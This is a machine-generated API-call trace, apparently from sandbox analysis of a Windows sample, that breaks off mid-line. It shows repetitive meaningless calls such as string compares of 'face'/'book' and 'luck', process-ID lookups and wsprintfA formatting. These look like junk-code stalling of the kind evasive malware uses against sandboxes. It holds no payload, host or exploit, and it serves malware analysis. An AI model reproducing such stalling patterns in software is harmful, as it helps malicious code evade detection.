[0071.050] GetCurrentProcessId () returned 0x81c [0071.050] lstrlenA (lpString="just string") returned 11 [0071.050] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.050] GetLastError () returned 0x12 [0071.050] GetLastError () returned 0x12 [0071.050] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.051] SetLastError (dwErrCode=0x12) [0071.051] GetCurrentProcess () returned 0xffffffff [0071.051] GetLastError () returned 0x12 [0071.051] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1660P") returned 7 [0071.051] SetLastError (dwErrCode=0x12) [0071.051] GetCurrentProcessId () returned 0x81c [0071.051] GetCurrentProcess () returned 0xffffffff [0071.051] GetLastError () returned 0x12 [0071.051] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1661P") returned 7 [0071.051] SetLastError (dwErrCode=0x12) [0071.051] GetCurrentProcessId () returned 0x81c [0071.051] GetLastError () returned 0x12 [0071.051] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1662P") returned 7 [0071.051] SetLastError (dwErrCode=0x12) [0071.051] GetCurrentProcessId () returned 0x81c [0071.051] GetCurrentProcessId () returned 0x81c [0071.051] GetCurrentProcessId () returned 0x81c [0071.051] GetCurrentProcessId () returned 0x81c [0071.051] lstrlenA (lpString="just string") returned 11 [0071.051] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.051] GetLastError () returned 0x12 [0071.051] GetLastError () returned 0x12 [0071.051] GetLastError () returned 0x12 [0071.051] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F16BCP") returned 7 [0071.051] SetLastError (dwErrCode=0x12) [0071.051] GetCurrentProcessId () returned 0x81c [0071.051] GetCurrentProcessId () returned 0x81c [0071.051] GetCurrentProcessId () returned 0x81c [0071.051] GetCurrentProcessId () returned 0x81c [0071.051] lstrlenA (lpString="just string") returned 11 [0071.051] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.051] GetLastError () returned 0x12 [0071.051] lstrlenA (lpString="just string") returned 11 [0071.051] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.051] GetLastError () returned 0x12 [0071.051] GetLastError () returned 0x12 [0071.051] GetCurrentProcessId () returned 0x81c [0071.051] GetCurrentProcessId () returned 0x81c [0071.051] GetCurrentProcessId () returned 0x81c [0071.051] lstrlenA (lpString="just string") returned 11 [0071.051] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.051] GetLastError () returned 0x12 [0071.051] GetLastError () returned 0x12 [0071.051] GetCurrentProcessId () returned 0x81c [0071.051] GetCurrentProcessId () returned 0x81c [0071.051] GetCurrentProcessId () returned 0x81c [0071.051] lstrlenA (lpString="just string") returned 11 [0071.051] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.051] GetLastError () returned 0x12 [0071.051] GetLastError () returned 0x12 [0071.051] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.051] SetLastError (dwErrCode=0x12) [0071.051] GetCurrentProcess () returned 0xffffffff [0071.051] GetLastError () returned 0x12 [0071.051] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F176EP") returned 7 [0071.051] SetLastError (dwErrCode=0x12) [0071.051] GetCurrentProcessId () returned 0x81c [0071.051] GetCurrentProcess () returned 0xffffffff [0071.051] GetLastError () returned 0x12 [0071.051] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F176FP") returned 7 [0071.051] SetLastError (dwErrCode=0x12) [0071.051] GetCurrentProcessId () returned 0x81c [0071.051] GetLastError () returned 0x12 [0071.052] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1770P") returned 7 [0071.052] SetLastError (dwErrCode=0x12) [0071.052] GetCurrentProcessId () returned 0x81c [0071.052] GetCurrentProcessId () returned 0x81c [0071.052] GetCurrentProcessId () returned 0x81c [0071.052] GetCurrentProcessId () returned 0x81c [0071.052] lstrlenA (lpString="just string") returned 11 [0071.052] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.052] GetLastError () returned 0x12 [0071.052] GetCurrentProcessId () returned 0x81c [0071.052] GetCurrentProcessId () returned 0x81c [0071.052] GetCurrentProcessId () returned 0x81c [0071.052] lstrlenA (lpString="just string") returned 11 [0071.052] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.052] GetLastError () returned 0x12 [0071.052] GetCurrentProcess () returned 0xffffffff [0071.052] GetLastError () returned 0x12 [0071.052] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F17C9P") returned 7 [0071.052] SetLastError (dwErrCode=0x12) [0071.052] GetCurrentProcessId () returned 0x81c [0071.052] GetLastError () returned 0x12 [0071.052] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F17CAP") returned 7 [0071.052] SetLastError (dwErrCode=0x12) [0071.052] GetCurrentProcessId () returned 0x81c [0071.052] GetCurrentProcessId () returned 0x81c [0071.052] GetCurrentProcessId () returned 0x81c [0071.052] GetCurrentProcessId () returned 0x81c [0071.052] lstrlenA (lpString="just string") returned 11 [0071.052] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.052] GetLastError () returned 0x12 [0071.052] GetCurrentProcess () returned 0xffffffff [0071.052] GetLastError () returned 0x12 [0071.052] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F180FP") returned 7 [0071.052] SetLastError (dwErrCode=0x12) [0071.052] GetCurrentProcessId () returned 0x81c [0071.052] GetLastError () returned 0x12 [0071.052] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1810P") returned 7 [0071.052] SetLastError (dwErrCode=0x12) [0071.052] GetCurrentProcessId () returned 0x81c [0071.052] GetCurrentProcessId () returned 0x81c [0071.052] GetCurrentProcessId () returned 0x81c [0071.052] GetCurrentProcessId () returned 0x81c [0071.052] lstrlenA (lpString="just string") returned 11 [0071.052] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.052] GetLastError () returned 0x12 [0071.052] GetLastError () returned 0x12 [0071.052] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.052] SetLastError (dwErrCode=0x12) [0071.052] GetCurrentProcess () returned 0xffffffff [0071.052] GetLastError () returned 0x12 [0071.053] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1836P") returned 7 [0071.053] SetLastError (dwErrCode=0x12) [0071.053] GetCurrentProcessId () returned 0x81c [0071.053] GetCurrentProcess () returned 0xffffffff [0071.053] GetLastError () returned 0x12 [0071.053] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1837P") returned 7 [0071.053] SetLastError (dwErrCode=0x12) [0071.053] GetCurrentProcessId () returned 0x81c [0071.053] GetLastError () returned 0x12 [0071.053] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1838P") returned 7 [0071.053] SetLastError (dwErrCode=0x12) [0071.053] GetCurrentProcessId () returned 0x81c [0071.053] GetCurrentProcessId () returned 0x81c [0071.053] GetCurrentProcessId () returned 0x81c [0071.053] GetCurrentProcessId () returned 0x81c [0071.053] lstrlenA (lpString="just string") returned 11 [0071.053] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.053] GetLastError () returned 0x12 [0071.053] lstrlenA (lpString="just string") returned 11 [0071.053] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.053] GetLastError () returned 0x12 [0071.053] GetCurrentProcessId () returned 0x81c [0071.053] GetCurrentProcessId () returned 0x81c [0071.053] GetCurrentProcessId () returned 0x81c [0071.053] lstrlenA (lpString="just string") returned 11 [0071.053] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.053] GetLastError () returned 0x12 [0071.053] GetLastError () returned 0x12 [0071.053] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.053] SetLastError (dwErrCode=0x12) [0071.053] GetCurrentProcess () returned 0xffffffff [0071.053] GetLastError () returned 0x12 [0071.053] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F189AP") returned 7 [0071.053] SetLastError (dwErrCode=0x12) [0071.053] GetCurrentProcessId () returned 0x81c [0071.053] GetCurrentProcess () returned 0xffffffff [0071.053] GetLastError () returned 0x12 [0071.053] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F189BP") returned 7 [0071.053] SetLastError (dwErrCode=0x12) [0071.053] GetCurrentProcessId () returned 0x81c [0071.053] GetLastError () returned 0x12 [0071.053] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F189CP") returned 7 [0071.053] SetLastError (dwErrCode=0x12) [0071.053] GetCurrentProcessId () returned 0x81c [0071.053] GetCurrentProcessId () returned 0x81c [0071.053] GetCurrentProcessId () returned 0x81c [0071.053] GetCurrentProcessId () returned 0x81c [0071.053] lstrlenA (lpString="just string") returned 11 [0071.053] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.053] GetLastError () returned 0x12 [0071.053] lstrlenA (lpString="just string") returned 11 [0071.053] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.053] GetLastError () returned 0x12 [0071.053] GetCurrentProcessId () returned 0x81c [0071.053] GetCurrentProcessId () returned 0x81c [0071.053] lstrlenA (lpString="just string") returned 11 [0071.054] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.054] GetLastError () returned 0x12 [0071.054] GetLastError () returned 0x12 [0071.054] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.054] SetLastError (dwErrCode=0x12) [0071.054] GetCurrentProcess () returned 0xffffffff [0071.054] GetLastError () returned 0x12 [0071.054] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F191CP") returned 7 [0071.054] SetLastError (dwErrCode=0x12) [0071.054] GetCurrentProcessId () returned 0x81c [0071.054] GetCurrentProcess () returned 0xffffffff [0071.054] GetLastError () returned 0x12 [0071.054] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F191DP") returned 7 [0071.054] SetLastError (dwErrCode=0x12) [0071.054] GetCurrentProcessId () returned 0x81c [0071.054] GetLastError () returned 0x12 [0071.054] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F191EP") returned 7 [0071.054] SetLastError (dwErrCode=0x12) [0071.054] GetCurrentProcessId () returned 0x81c [0071.054] GetCurrentProcessId () returned 0x81c [0071.054] GetCurrentProcessId () returned 0x81c [0071.054] GetCurrentProcessId () returned 0x81c [0071.054] lstrlenA (lpString="just string") returned 11 [0071.054] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.054] GetLastError () returned 0x12 [0071.054] GetCurrentProcessId () returned 0x81c [0071.054] GetCurrentProcessId () returned 0x81c [0071.054] GetCurrentProcessId () returned 0x81c [0071.054] lstrlenA (lpString="just string") returned 11 [0071.054] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.054] GetLastError () returned 0x12 [0071.054] GetCurrentProcess () returned 0xffffffff [0071.054] GetLastError () returned 0x12 [0071.054] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F194FP") returned 7 [0071.054] SetLastError (dwErrCode=0x12) [0071.054] GetCurrentProcessId () returned 0x81c [0071.054] GetLastError () returned 0x12 [0071.054] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1950P") returned 7 [0071.054] SetLastError (dwErrCode=0x12) [0071.054] GetCurrentProcessId () returned 0x81c [0071.054] GetCurrentProcessId () returned 0x81c [0071.054] GetCurrentProcessId () returned 0x81c [0071.054] GetCurrentProcessId () returned 0x81c [0071.054] lstrlenA (lpString="just string") returned 11 [0071.054] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.054] GetLastError () returned 0x12 [0071.054] GetCurrentProcessId () returned 0x81c [0071.054] lstrlenA (lpString="just string") returned 11 [0071.054] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.054] GetLastError () returned 0x12 [0071.054] GetCurrentProcessId () returned 0x81c [0071.054] GetCurrentProcessId () returned 0x81c [0071.054] GetCurrentProcessId () returned 0x81c [0071.054] lstrlenA (lpString="just string") returned 11 [0071.054] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.054] GetLastError () returned 0x12 [0071.054] GetLastError () returned 0x12 [0071.054] GetLastError () returned 0x12 [0071.054] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1A2CP") returned 7 [0071.054] SetLastError (dwErrCode=0x12) [0071.054] GetCurrentProcessId () returned 0x81c [0071.054] GetCurrentProcessId () returned 0x81c [0071.055] GetCurrentProcessId () returned 0x81c [0071.055] GetCurrentProcessId () returned 0x81c [0071.055] lstrlenA (lpString="just string") returned 11 [0071.055] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.055] GetLastError () returned 0x12 [0071.055] GetLastError () returned 0x12 [0071.055] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.055] SetLastError (dwErrCode=0x12) [0071.055] GetCurrentProcess () returned 0xffffffff [0071.055] GetLastError () returned 0x12 [0071.055] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1A3EP") returned 7 [0071.055] SetLastError (dwErrCode=0x12) [0071.055] GetCurrentProcessId () returned 0x81c [0071.055] GetCurrentProcess () returned 0xffffffff [0071.055] GetLastError () returned 0x12 [0071.055] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1A3FP") returned 7 [0071.055] SetLastError (dwErrCode=0x12) [0071.055] GetCurrentProcessId () returned 0x81c [0071.055] GetLastError () returned 0x12 [0071.055] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1A40P") returned 7 [0071.055] SetLastError (dwErrCode=0x12) [0071.055] GetCurrentProcessId () returned 0x81c [0071.055] GetCurrentProcessId () returned 0x81c [0071.055] GetCurrentProcessId () returned 0x81c [0071.055] GetCurrentProcessId () returned 0x81c [0071.055] lstrlenA (lpString="just string") returned 11 [0071.055] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.055] GetLastError () returned 0x12 [0071.055] GetLastError () returned 0x12 [0071.055] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.055] SetLastError (dwErrCode=0x12) [0071.055] GetCurrentProcess () returned 0xffffffff [0071.055] GetLastError () returned 0x12 [0071.055] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1A84P") returned 7 [0071.055] SetLastError (dwErrCode=0x12) [0071.055] GetCurrentProcessId () returned 0x81c [0071.055] GetCurrentProcess () returned 0xffffffff [0071.055] GetLastError () returned 0x12 [0071.055] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1A85P") returned 7 [0071.055] SetLastError (dwErrCode=0x12) [0071.055] GetCurrentProcessId () returned 0x81c [0071.055] GetLastError () returned 0x12 [0071.055] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1A86P") returned 7 [0071.055] SetLastError (dwErrCode=0x12) [0071.055] GetCurrentProcessId () returned 0x81c [0071.055] GetCurrentProcessId () returned 0x81c [0071.055] GetCurrentProcessId () returned 0x81c [0071.055] GetCurrentProcessId () returned 0x81c [0071.055] lstrlenA (lpString="just string") returned 11 [0071.055] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.055] GetLastError () returned 0x12 [0071.055] GetCurrentProcessId () returned 0x81c [0071.055] GetCurrentProcessId () returned 0x81c [0071.055] lstrlenA (lpString="just string") returned 11 [0071.055] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.055] GetLastError () returned 0x12 [0071.055] GetLastError () returned 0x12 [0071.056] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.056] SetLastError (dwErrCode=0x12) [0071.056] GetCurrentProcess () returned 0xffffffff [0071.056] GetLastError () returned 0x12 [0071.056] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1AF2P") returned 7 [0071.056] SetLastError (dwErrCode=0x12) [0071.056] GetCurrentProcessId () returned 0x81c [0071.056] GetCurrentProcess () returned 0xffffffff [0071.056] GetLastError () returned 0x12 [0071.056] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1AF3P") returned 7 [0071.056] SetLastError (dwErrCode=0x12) [0071.056] GetCurrentProcessId () returned 0x81c [0071.056] GetLastError () returned 0x12 [0071.056] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1AF4P") returned 7 [0071.056] SetLastError (dwErrCode=0x12) [0071.056] GetCurrentProcessId () returned 0x81c [0071.056] GetCurrentProcessId () returned 0x81c [0071.056] GetCurrentProcessId () returned 0x81c [0071.056] GetCurrentProcessId () returned 0x81c [0071.056] lstrlenA (lpString="just string") returned 11 [0071.056] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.056] GetLastError () returned 0x12 [0071.056] lstrlenA (lpString="just string") returned 11 [0071.056] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.056] GetLastError () returned 0x12 [0071.056] GetCurrentProcess () returned 0xffffffff [0071.056] GetLastError () returned 0x12 [0071.056] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1B75P") returned 7 [0071.056] SetLastError (dwErrCode=0x12) [0071.056] GetCurrentProcessId () returned 0x81c [0071.056] GetLastError () returned 0x12 [0071.056] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1B76P") returned 7 [0071.056] SetLastError (dwErrCode=0x12) [0071.056] GetCurrentProcessId () returned 0x81c [0071.056] GetCurrentProcessId () returned 0x81c [0071.056] GetCurrentProcessId () returned 0x81c [0071.056] GetCurrentProcessId () returned 0x81c [0071.056] lstrlenA (lpString="just string") returned 11 [0071.056] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.056] GetLastError () returned 0x12 [0071.056] GetLastError () returned 0x12 [0071.056] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.056] SetLastError (dwErrCode=0x12) [0071.056] GetCurrentProcess () returned 0xffffffff [0071.056] GetLastError () returned 0x12 [0071.056] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1BB0P") returned 7 [0071.056] SetLastError (dwErrCode=0x12) [0071.056] GetCurrentProcessId () returned 0x81c [0071.056] GetCurrentProcess () returned 0xffffffff [0071.056] GetLastError () returned 0x12 [0071.056] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1BB1P") returned 7 [0071.056] SetLastError (dwErrCode=0x12) [0071.056] GetCurrentProcessId () returned 0x81c [0071.056] GetLastError () returned 0x12 [0071.056] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1BB2P") returned 7 [0071.056] SetLastError (dwErrCode=0x12) [0071.056] GetCurrentProcessId () returned 0x81c [0071.056] GetCurrentProcessId () returned 0x81c [0071.056] GetCurrentProcessId () returned 0x81c [0071.056] GetCurrentProcessId () returned 0x81c [0071.057] lstrlenA (lpString="just string") returned 11 [0071.057] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.057] GetLastError () returned 0x12 [0071.057] GetLastError () returned 0x12 [0071.057] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1BEEP") returned 7 [0071.057] SetLastError (dwErrCode=0x12) [0071.057] GetCurrentProcessId () returned 0x81c [0071.057] GetCurrentProcessId () returned 0x81c [0071.057] GetCurrentProcessId () returned 0x81c [0071.057] GetCurrentProcessId () returned 0x81c [0071.057] lstrlenA (lpString="just string") returned 11 [0071.057] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.057] GetLastError () returned 0x12 [0071.057] GetLastError () returned 0x12 [0071.057] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.057] SetLastError (dwErrCode=0x12) [0071.057] GetCurrentProcess () returned 0xffffffff [0071.057] GetLastError () returned 0x12 [0071.057] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1C0AP") returned 7 [0071.057] SetLastError (dwErrCode=0x12) [0071.057] GetCurrentProcessId () returned 0x81c [0071.057] GetCurrentProcess () returned 0xffffffff [0071.057] GetLastError () returned 0x12 [0071.057] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1C0BP") returned 7 [0071.057] SetLastError (dwErrCode=0x12) [0071.057] GetCurrentProcessId () returned 0x81c [0071.057] GetLastError () returned 0x12 [0071.057] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1C0CP") returned 7 [0071.057] SetLastError (dwErrCode=0x12) [0071.057] GetCurrentProcessId () returned 0x81c [0071.057] GetCurrentProcessId () returned 0x81c [0071.057] GetCurrentProcessId () returned 0x81c [0071.057] GetCurrentProcessId () returned 0x81c [0071.057] lstrlenA (lpString="just string") returned 11 [0071.057] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.057] GetLastError () returned 0x12 [0071.057] GetLastError () returned 0x12 [0071.057] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.057] SetLastError (dwErrCode=0x12) [0071.057] GetCurrentProcess () returned 0xffffffff [0071.057] GetLastError () returned 0x12 [0071.057] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1C1EP") returned 7 [0071.058] SetLastError (dwErrCode=0x12) [0071.058] GetCurrentProcessId () returned 0x81c [0071.058] GetCurrentProcess () returned 0xffffffff [0071.058] GetLastError () returned 0x12 [0071.058] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1C1FP") returned 7 [0071.058] SetLastError (dwErrCode=0x12) [0071.058] GetCurrentProcessId () returned 0x81c [0071.058] GetLastError () returned 0x12 [0071.058] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1C20P") returned 7 [0071.058] SetLastError (dwErrCode=0x12) [0071.058] GetCurrentProcessId () returned 0x81c [0071.058] GetCurrentProcessId () returned 0x81c [0071.058] GetCurrentProcessId () returned 0x81c [0071.058] GetCurrentProcessId () returned 0x81c [0071.058] lstrlenA (lpString="just string") returned 11 [0071.058] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.058] GetLastError () returned 0x12 [0071.058] GetLastError () returned 0x12 [0071.058] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.058] SetLastError (dwErrCode=0x12) [0071.058] GetCurrentProcess () returned 0xffffffff [0071.058] GetLastError () returned 0x12 [0071.058] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1C32P") returned 7 [0071.058] SetLastError (dwErrCode=0x12) [0071.058] GetCurrentProcessId () returned 0x81c [0071.058] GetCurrentProcess () returned 0xffffffff [0071.058] GetLastError () returned 0x12 [0071.058] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1C33P") returned 7 [0071.058] SetLastError (dwErrCode=0x12) [0071.058] GetCurrentProcessId () returned 0x81c [0071.058] GetLastError () returned 0x12 [0071.058] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1C34P") returned 7 [0071.058] SetLastError (dwErrCode=0x12) [0071.058] GetCurrentProcessId () returned 0x81c [0071.058] GetCurrentProcessId () returned 0x81c [0071.058] GetCurrentProcessId () returned 0x81c [0071.058] GetCurrentProcessId () returned 0x81c [0071.058] lstrlenA (lpString="just string") returned 11 [0071.058] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.058] GetLastError () returned 0x12 [0071.058] GetCurrentProcessId () returned 0x81c [0071.058] GetCurrentProcessId () returned 0x81c [0071.058] GetCurrentProcessId () returned 0x81c [0071.058] lstrlenA (lpString="just string") returned 11 [0071.058] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.058] GetLastError () returned 0x12 [0071.058] GetLastError () returned 0x12 [0071.058] lstrlenA (lpString="just string") returned 11 [0071.058] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.058] GetLastError () returned 0x12 [0071.058] GetCurrentProcess () returned 0xffffffff [0071.058] GetLastError () returned 0x12 [0071.058] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1C97P") returned 7 [0071.058] SetLastError (dwErrCode=0x12) [0071.058] GetCurrentProcessId () returned 0x81c [0071.058] GetLastError () returned 0x12 [0071.058] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1C98P") returned 7 [0071.058] SetLastError (dwErrCode=0x12) [0071.059] GetCurrentProcessId () returned 0x81c [0071.059] GetCurrentProcessId () returned 0x81c [0071.059] GetCurrentProcessId () returned 0x81c [0071.059] GetCurrentProcessId () returned 0x81c [0071.059] lstrlenA (lpString="just string") returned 11 [0071.059] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.059] GetLastError () returned 0x12 [0071.059] GetLastError () returned 0x12 [0071.059] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.059] SetLastError (dwErrCode=0x12) [0071.059] GetCurrentProcess () returned 0xffffffff [0071.059] GetLastError () returned 0x12 [0071.059] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1CAAP") returned 7 [0071.059] SetLastError (dwErrCode=0x12) [0071.059] GetCurrentProcessId () returned 0x81c [0071.059] GetCurrentProcess () returned 0xffffffff [0071.059] GetLastError () returned 0x12 [0071.059] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1CABP") returned 7 [0071.059] SetLastError (dwErrCode=0x12) [0071.059] GetCurrentProcessId () returned 0x81c [0071.059] GetLastError () returned 0x12 [0071.059] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1CACP") returned 7 [0071.059] SetLastError (dwErrCode=0x12) [0071.059] GetCurrentProcessId () returned 0x81c [0071.059] GetCurrentProcessId () returned 0x81c [0071.059] GetCurrentProcessId () returned 0x81c [0071.059] GetCurrentProcessId () returned 0x81c [0071.059] lstrlenA (lpString="just string") returned 11 [0071.059] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.059] GetLastError () returned 0x12 [0071.059] GetLastError () returned 0x12 [0071.059] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.059] SetLastError (dwErrCode=0x12) [0071.059] GetCurrentProcess () returned 0xffffffff [0071.059] GetLastError () returned 0x12 [0071.059] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1CD2P") returned 7 [0071.059] SetLastError (dwErrCode=0x12) [0071.059] GetCurrentProcessId () returned 0x81c [0071.059] GetCurrentProcess () returned 0xffffffff [0071.059] GetLastError () returned 0x12 [0071.059] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1CD3P") returned 7 [0071.059] SetLastError (dwErrCode=0x12) [0071.059] GetCurrentProcessId () returned 0x81c [0071.059] GetLastError () returned 0x12 [0071.059] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1CD4P") returned 7 [0071.059] SetLastError (dwErrCode=0x12) [0071.059] GetCurrentProcessId () returned 0x81c [0071.059] GetCurrentProcessId () returned 0x81c [0071.059] GetCurrentProcessId () returned 0x81c [0071.059] GetCurrentProcessId () returned 0x81c [0071.059] lstrlenA (lpString="just string") returned 11 [0071.059] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.059] GetLastError () returned 0x12 [0071.059] GetLastError () returned 0x12 [0071.059] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.060] SetLastError (dwErrCode=0x12) [0071.060] GetCurrentProcess () returned 0xffffffff [0071.060] GetLastError () returned 0x12 [0071.060] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1CE6P") returned 7 [0071.060] SetLastError (dwErrCode=0x12) [0071.060] GetCurrentProcessId () returned 0x81c [0071.060] GetCurrentProcess () returned 0xffffffff [0071.060] GetLastError () returned 0x12 [0071.060] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1CE7P") returned 7 [0071.060] SetLastError (dwErrCode=0x12) [0071.060] GetCurrentProcessId () returned 0x81c [0071.060] GetLastError () returned 0x12 [0071.060] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1CE8P") returned 7 [0071.060] SetLastError (dwErrCode=0x12) [0071.060] GetCurrentProcessId () returned 0x81c [0071.060] GetCurrentProcessId () returned 0x81c [0071.060] GetCurrentProcessId () returned 0x81c [0071.060] GetCurrentProcessId () returned 0x81c [0071.060] lstrlenA (lpString="just string") returned 11 [0071.060] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.060] GetLastError () returned 0x12 [0071.060] GetCurrentProcessId () returned 0x81c [0071.060] GetCurrentProcessId () returned 0x81c [0071.060] GetCurrentProcessId () returned 0x81c [0071.060] lstrlenA (lpString="just string") returned 11 [0071.060] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.060] GetLastError () returned 0x12 [0071.060] GetCurrentProcessId () returned 0x81c [0071.060] GetCurrentProcessId () returned 0x81c [0071.060] lstrlenA (lpString="just string") returned 11 [0071.060] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.060] GetLastError () returned 0x12 [0071.060] GetCurrentProcessId () returned 0x81c [0071.060] GetCurrentProcessId () returned 0x81c [0071.060] GetCurrentProcessId () returned 0x81c [0071.060] lstrlenA (lpString="just string") returned 11 [0071.060] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.060] GetLastError () returned 